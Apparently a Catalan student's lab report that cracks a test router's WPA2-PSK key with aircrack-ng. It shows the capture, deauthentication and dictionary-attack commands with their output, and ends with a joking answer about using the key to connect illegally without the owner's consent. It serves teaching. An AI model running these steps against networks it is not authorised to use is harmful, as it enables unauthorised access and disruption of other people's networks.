

Índex

Investiga el paquet aircrack-ng	1
Què volen dir les sigles PSK dels algoritmes WPA/WPA2-PSK?	1
Què és la clau pre-compartida?	1
Fent ús dels paquets capturats (amb el handshake) intenta aconseguir la clau compartida, explica com ho faries en cas que no te'n surtis.	1
Un cop aconseguixis la clau compartida, com la faries servir?	5

Accedeix a xarxes sense fils vulnerables.

Investiga el paquet aircrack-ng

Què volen dir les sigles PSK dels algoritmes WPA/WPA2-PSK?

PSK (Pre Shared Key), en català clau precompartida.

Què és la clau pre-compartida?

Es tracta d'una clau secreta que comparteixen el client i el AP abans de fer-se la connexió i que s'envia xifrada per un canal segur.

Amb aquesta clau precompartida es desxifra la comunicació entre els dos punts.

És com quan dues persones creen una clau secreta que serveix per desxifrar el contingut d'un text. Un cop tenen la clau precompartida es poden enviar textos que únicament poden ser llegibles si tens la clau per desxifrar-ho.

En una autenticació Wi-Fi, la clau precompartida serveix perquè els clients es puguin autenticar a la xarxa sense fils.

Fent ús dels paquets capturats (amb el handshake) intenta aconseguir la clau compartida, explica com ho faries en cas que no te'n surtis.

Aprofitant que ja vaig aconseguir la clau compartida en la pràctica anterior, faré un copiar i enganxar de l'explicació passada.

Farem servir aircrack-ng per obtenir la clau pre-compartida.

Amb la interfície de xarxa en mode monitor busquem quin serà l'objectiu, serà la xarxa **Linksys02848**, que pertany al router de proves.

```
784 wpa_supplicant
CH 5 ][ Elapsed: 36 s ][ 2021-11-30 20:18
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
00:0C:E6:10:0A:05	-1	0	1	0	11	-1	WPA		<length: 0>
E8:9F:80:1C:31:61	-50	85	12	0	6	540	WPA2 CCMP	PSK	Free Router NO SCAM
E8:9F:80:1C:3A:19	-36	56	0	0	1	540	WPA2 CCMP	PSK	Linksys02848
00:0C:E6:10:01:03	-40	24	0	0	11	54e.	WPA TKIP	PSK	alumnescf
1C:28:AF:C1:D3:00	-45	57	0	0	1	130	WPA2 CCMP	MGT	eduroam
00:0C:E6:10:01:01	-42	25	0	0	11	54e.	WPA TKIP	PSK	docent
00:0C:E6:10:03:00	-42	24	0	0	11	54e.	WPA2 CCMP	PSK	educat1x1
00:0C:E6:10:01:00	-42	24	0	0	11	54e.	WPA2 CCMP	PSK	educat1x1
00:0C:E6:10:03:05	-44	24	0	0	11	54e.	WPA TKIP	PSK	alumnescf
00:0C:E6:10:03:03	-45	26	0	0	11	54e.	WPA TKIP	PSK	alumnescf
EA:9F:80:1C:31:61	-45	78	0	0	6	540	OPN		Free Router NO SCAM-invitado
1C:28:AF:C1:D3:04	-47	26	0	0	1	130	OPN		gencat_ENS_EDU_PORTAL
1C:28:AF:C1:D3:01	-46	25	0	0	1	130	WPA2 CCMP	MGT	<length: 0>
1C:28:AF:C1:D3:02	-45	26	0	0	1	130	WPA2 CCMP	MGT	gencat_ENS_EDU
00:0C:E6:10:01:05	-48	25	0	0	11	54e.	WPA TKIP	PSK	alumnescf
1C:28:AF:C3:21:E0	-60	72	0	0	5	130	WPA2 CCMP	MGT	eduroam
00:0C:E6:10:03:01	-49	23	0	0	11	54e.	WPA TKIP	PSK	docent
00:0C:E6:10:07:00	-51	23	0	0	11	54e.	WPA2 CCMP	PSK	educat1x1
00:0C:E6:10:07:01	-51	23	0	0	11	54e.	WPA TKIP	PSK	docent
00:0C:E6:10:07:05	-53	20	0	0	11	54e.	WPA TKIP	PSK	alumnescf
1C:28:AF:C3:21:E4	-52	25	0	0	5	130	OPN		gencat_ENS_EDU_PORTAL

Figure 1: “Detalls de les xarxes”

Iniciem l'airdump-ng per capturar el handshake en el moment que un dispositiu s'autentiqui.

```
1 sudo airodump-ng -c 1 --bssid E8:9F:80:1C:3A:19 --write ~/aircrack/poc
  --output-format pcap wlp14s0mon
```

- -c 1: Canal de la xarxa Wi-Fi.
- --bssid E8:9F:80:1C:3A:19: Adreça MAC de l'AP (Punt d'accés). Per fer servir únicament el trànsit d'aquesta xarxa.
- --write ~/aircrack/poc: Escriurem sobre aquest fitxer on es guardaran els IV (Initialization Vector), bloc de bits. La informació dels paquets capturats.
- --output-format pcap
- wlp14s0mon: El nom de la interfície de xarxa.

```
CH 10 ][ Elapsed: 24 s ][ 2021-11-30 20:22
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
E8:9F:80:1C:3A:19	-37	34	0	0	1	540	WPA2 CCMP	PSK	Linksys02848

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
-------	---------	-----	------	------	--------	-------	--------

En Joel i jo ens hem connectat amb els mòbils a la xarxa Wi-fi, això ha provocat que apareguin dos elements a la llista.

```
CH 1 ][ Elapsed: 2 mins ][ 2021-11-30 20:40 ][ WPA handshake: E8:9F:80:1C:3A:19
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
E8:9F:80:1C:3A:19	-33	54	1700	105 0	1	540	WPA2	CCMP	PSK	Linksys02848

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
E8:9F:80:1C:3A:19	8A:2A:C4:33:33:9D	-33	1e- 1e	742	1827	EAPOL	Linksys02848
E8:9F:80:1C:3A:19	3E:34:09:F3:44:8D	-42	1e- 1e	0	1540	EAPOL	Linksys02848

Figure 2: “Connexions a la xarxa”

Les MAC dels nostres mòbils:

- 3E:34:09:F3:44:8D
- 8A:2A:C4:33:33:9D

Llancem un atac de desautenticació, això envia un missatge al client per desassociar-lo de l'AP.

Ho fem per accelerar el procés de capturar el handshake. Aquesta acció obligarà al client a reautenticar-se, la qual cosa genera els 4 paquets d'autenticació (handshake) que volem capturar.

```
1 sudo aireplay-ng -0 10 -a E8:9F:80:1C:3A:19 -c 3E:34:09:F3:44:8D
   wlp14s0mon
2
3 sudo aireplay-ng -0 10 -a E8:9F:80:1C:3A:19 -c 8A:2A:C4:33:33:9D
   wlp14s0mon
```

- 0: Deautenticació.
- 1: Número de deautenticacions a enviar.
- -a E8:9F:80:1C:3A:19: adreça MAC de l'AP.
- -c 3E:34:09:F3:44:8D & 8A:2A:C4:33:33:9D: Adreça MAC del client a deautenticar.
- wlp14s0mon: El nom de la interfície de xarxa.

```

* aircrack sudo aireplay-ng -0 10 -a E8:9F:80:1C:3A:19 -c 3E:34:09:F3:44:8D wlp14s0mon
20:43:16 Waiting for beacon frame (BSSID: E8:9F:80:1C:3A:19) on channel 1
20:43:16 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [21|64 ACKs]
20:43:17 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [ 0|63 ACKs]
20:43:17 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [ 3|64 ACKs]
20:43:18 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [ 0|63 ACKs]
20:43:18 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [ 0|46 ACKs]
20:43:19 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [ 0|80 ACKs]
20:43:19 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [ 0|62 ACKs]
20:43:20 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [ 0|62 ACKs]
20:43:20 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [ 0|57 ACKs]
20:43:21 Sending 64 directed DeAuth (code 7). STMAC: [3E:34:09:F3:44:8D] [ 5|72 ACKs]
* aircrack sudo aireplay-ng -0 10 -a E8:9F:80:1C:3A:19 -c 8A:2A:C4:33:33:9D wlp14s0mon
20:44:47 Waiting for beacon frame (BSSID: E8:9F:80:1C:3A:19) on channel 1
20:44:48 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [18|64 ACKs]
20:44:48 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [ 1|62 ACKs]
20:44:49 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [ 0|64 ACKs]
20:44:49 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [ 0|64 ACKs]
20:44:50 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [ 0|63 ACKs]
20:44:50 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [ 0|64 ACKs]
20:44:51 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [22|67 ACKs]
20:44:51 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [63|63 ACKs]
20:44:52 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [34|67 ACKs]
20:44:52 Sending 64 directed DeAuth (code 7). STMAC: [8A:2A:C4:33:33:9D] [64|64 ACKs]

```

Figure 3: “Connexions a la xarxa”

Aquest atac ha provocat que els nostres dispositius es desconnectin, ens hem tornat a connectar.

Intentem trobar la clau WPA/WPA2 precompartida. Farem un diccionari amb possibles claus, on hem afegit manualment la clau de la xarxa.

```
1 aircrack-ng -w password.lst -b E8:9F:80:1C:3A:19 *.cap
```

- -w password.lst: Diccionari amb les possibles claus.
- *.cap: Grupo d'arxius que contenen els paquets capturats, tots aquells que acabin per .cap.

```

Aircrack-ng 1.6

[00:00:01] 3523/3558 keys tested (5050.18 k/s)

Time left: 0 seconds                                99.02%

KEY FOUND! [ c0tjyrtsfm ]

Master Key      : F5 92 E4 36 B1 FB 9E 16 D1 FA 1E E7 2F 03 4B 1F
                  78 E6 D9 82 C5 2F 75 2F DA 0C F9 B3 7A F6 8B 5E

Transient Key   : 95 EA 41 0A 15 6C B7 2B DE 68 C4 3E BF 93 E7 FF
                  72 09 89 21 88 4F 44 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC     : 76 60 4F 27 15 07 04 19 C4 09 DA 24 64 B0 9C FF

```

Figure 4: “Password trobat”

ET VOILÀ! Hem aconseguir la clau precompartida: *c0tjyrtsfm*.

Un cop aconseguíeis la clau compartida, com la faríeis servir?

Un cop aconseguida la faria servir per connectar-me a la xarxa de forma il·legal, sense el consentiment del propietari, per descarregar amb l’eMule fins que em pillin o canviïn les credencials. També entraria a Animeflv per veure Inazume Eleven. Bàsicament aprofitar-me de l’internet gratuït.